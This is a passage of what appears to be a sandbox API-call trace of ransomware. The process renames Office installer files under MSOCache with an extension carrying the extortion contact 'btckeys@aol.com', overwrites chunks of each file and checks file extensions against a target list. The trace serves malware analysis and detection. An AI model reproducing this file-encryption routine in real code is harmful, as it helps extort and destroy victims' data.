[0062.917] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.917] WriteFile (in: hFile=0x174, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0063.065] SetEndOfFile (hFile=0x174) returned 1 [0063.066] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f338d8 [0063.069] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0063.070] WriteFile (in: hFile=0x174, lpBuffer=0x3f338d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f338d8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.357] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0063.358] WriteFile (in: hFile=0x174, lpBuffer=0x3f338d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f338d8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.370] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0063.370] WriteFile (in: hFile=0x174, lpBuffer=0x3f338d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f338d8*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.371] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f338d8 | out: hHeap=0x4b0000) returned 1 [0063.372] CloseHandle (hObject=0x174) returned 1 [0064.795] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.795] lstrlenW (lpString=".doc") returned 4 [0064.795] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.795] lstrlenW (lpString=".docx") returned 5 [0064.795] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.795] lstrlenW (lpString=".pdf") returned 4 [0064.795] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.795] lstrlenW (lpString=".xls") returned 4 [0064.795] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.796] lstrlenW (lpString=".xlsx") returned 5 [0064.796] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.796] lstrlenW (lpString=".ppt") returned 4 [0064.796] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.796] lstrlenW (lpString=".zip") returned 4 [0064.796] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.796] lstrlenW (lpString=".rar") returned 4 [0064.796] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.796] lstrlenW (lpString=".bz2") returned 4 [0064.796] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.796] lstrlenW (lpString=".7z") returned 3 [0064.796] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.796] lstrlenW (lpString=".dbf") returned 4 [0064.796] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.796] lstrlenW (lpString=".1cd") returned 4 [0064.796] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.796] lstrlenW (lpString=".jpg") returned 4 [0064.796] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.796] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.797] lstrlenW (lpString=".doc") returned 4 [0064.797] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0064.797] lstrlenW (lpString=".docx") returned 5 [0064.797] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0064.797] lstrlenW (lpString=".pdf") returned 4 [0064.797] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0064.797] lstrlenW (lpString=".xls") returned 4 [0064.797] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0064.797] lstrlenW (lpString=".xlsx") returned 5 [0064.797] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0064.797] lstrlenW (lpString=".ppt") returned 4 [0064.797] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.797] lstrlenW (lpString=".zip") returned 4 [0064.797] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0064.797] lstrlenW (lpString=".rar") returned 4 [0064.797] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0064.797] lstrlenW (lpString=".bz2") returned 4 [0064.797] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0064.797] lstrlenW (lpString=".7z") returned 3 [0064.797] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.797] lstrlenW (lpString=".dbf") returned 4 [0064.797] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0064.797] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.797] lstrlenW (lpString=".1cd") returned 4 [0064.797] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0064.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0064.798] lstrlenW (lpString=".jpg") returned 4 [0064.798] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.798] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0064.798] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0064.798] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0064.799] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2513920) returned 1 [0064.799] CloseHandle (hObject=0x174) returned 1 [0064.799] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0064.799] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.799] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0064.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0064.800] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0064.800] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0064.800] ReadFile (in: hFile=0x174, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.951] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0064.951] ReadFile (in: hFile=0x174, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.996] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.996] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0064.997] ReadFile (in: hFile=0x174, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.078] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.078] WriteFile (in: hFile=0x174, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0065.508] SetEndOfFile (hFile=0x174) returned 1 [0065.508] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f3cfa0 [0065.511] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0065.511] WriteFile (in: hFile=0x174, lpBuffer=0x3f3cfa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3cfa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.513] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0065.513] WriteFile (in: hFile=0x174, lpBuffer=0x3f3cfa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3cfa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.877] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0065.877] WriteFile (in: hFile=0x174, lpBuffer=0x3f3cfa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f3cfa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.879] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f3cfa0 | out: hHeap=0x4b0000) returned 1 [0065.879] CloseHandle (hObject=0x174) returned 1 [0067.113] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0067.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.114] lstrlenW (lpString=".doc") returned 4 [0067.114] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0067.114] lstrlenW (lpString=".docx") returned 5 [0067.114] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0067.114] lstrlenW (lpString=".pdf") returned 4 [0067.114] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0067.114] lstrlenW (lpString=".xls") returned 4 [0067.114] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0067.114] lstrlenW (lpString=".xlsx") returned 5 [0067.114] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0067.114] lstrlenW (lpString=".ppt") returned 4 [0067.114] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0067.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.114] lstrlenW (lpString=".zip") returned 4 [0067.114] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0067.114] lstrlenW (lpString=".rar") returned 4 [0067.114] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0067.114] lstrlenW (lpString=".bz2") returned 4 [0067.114] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0067.114] lstrlenW (lpString=".7z") returned 3 [0067.114] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0067.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.114] lstrlenW (lpString=".dbf") returned 4 [0067.115] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0067.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.115] lstrlenW (lpString=".1cd") returned 4 [0067.115] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0067.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.115] lstrlenW (lpString=".jpg") returned 4 [0067.115] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0067.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.115] lstrlenW (lpString=".doc") returned 4 [0067.115] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0067.115] lstrlenW (lpString=".docx") returned 5 [0067.115] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0067.115] lstrlenW (lpString=".pdf") returned 4 [0067.115] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0067.115] lstrlenW (lpString=".xls") returned 4 [0067.115] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0067.115] lstrlenW (lpString=".xlsx") returned 5 [0067.115] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0067.115] lstrlenW (lpString=".ppt") returned 4 [0067.115] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0067.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.115] lstrlenW (lpString=".zip") returned 4 [0067.115] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0067.115] lstrlenW (lpString=".rar") returned 4 [0067.115] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0067.115] lstrlenW (lpString=".bz2") returned 4 [0067.116] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0067.116] lstrlenW (lpString=".7z") returned 3 [0067.116] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0067.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.116] lstrlenW (lpString=".dbf") returned 4 [0067.116] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0067.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.116] lstrlenW (lpString=".1cd") returned 4 [0067.116] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0067.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0067.116] lstrlenW (lpString=".jpg") returned 4 [0067.116] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0067.116] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0067.116] lstrlenW (lpString="OutlkLR.cab") returned 11 [0067.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0067.117] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=14819276) returned 1 [0067.117] CloseHandle (hObject=0x174) returned 1 [0067.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0067.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.117] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0067.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0067.118] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0067.118] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0067.118] ReadFile (in: hFile=0x174, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.122] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0067.122] ReadFile (in: hFile=0x174, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.335] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0067.335] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0067.335] ReadFile (in: hFile=0x174, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.408] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0067.408] WriteFile (in: hFile=0x174, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0067.810] SetEndOfFile (hFile=0x174) returned 1 [0067.810] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f34f98 [0067.813] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0067.813] WriteFile (in: hFile=0x174, lpBuffer=0x3f34f98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34f98*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.814] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0067.814] WriteFile (in: hFile=0x174, lpBuffer=0x3f34f98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34f98*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.815] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0067.815] WriteFile (in: hFile=0x174, lpBuffer=0x3f34f98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f34f98*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.817] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f34f98 | out: hHeap=0x4b0000) returned 1 [0067.817] CloseHandle (hObject=0x174) returned 1 [0070.184] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0070.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.184] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.184] lstrlenW (lpString=".doc") returned 4 [0070.184] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0070.184] lstrlenW (lpString=".docx") returned 5 [0070.184] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0070.184] lstrlenW (lpString=".pdf") returned 4 [0070.184] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString=".xls") returned 4 [0070.185] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString=".xlsx") returned 5 [0070.185] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0070.185] lstrlenW (lpString=".ppt") returned 4 [0070.185] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.185] lstrlenW (lpString=".zip") returned 4 [0070.185] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString=".rar") returned 4 [0070.185] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString=".bz2") returned 4 [0070.185] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0070.185] lstrlenW (lpString=".7z") returned 3 [0070.185] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0070.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.185] lstrlenW (lpString=".dbf") returned 4 [0070.185] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.185] lstrlenW (lpString=".1cd") returned 4 [0070.185] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0070.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.185] lstrlenW (lpString=".jpg") returned 4 [0070.185] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0070.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.185] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.186] lstrlenW (lpString=".doc") returned 4 [0070.186] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString=".docx") returned 5 [0070.186] lstrcmpiW 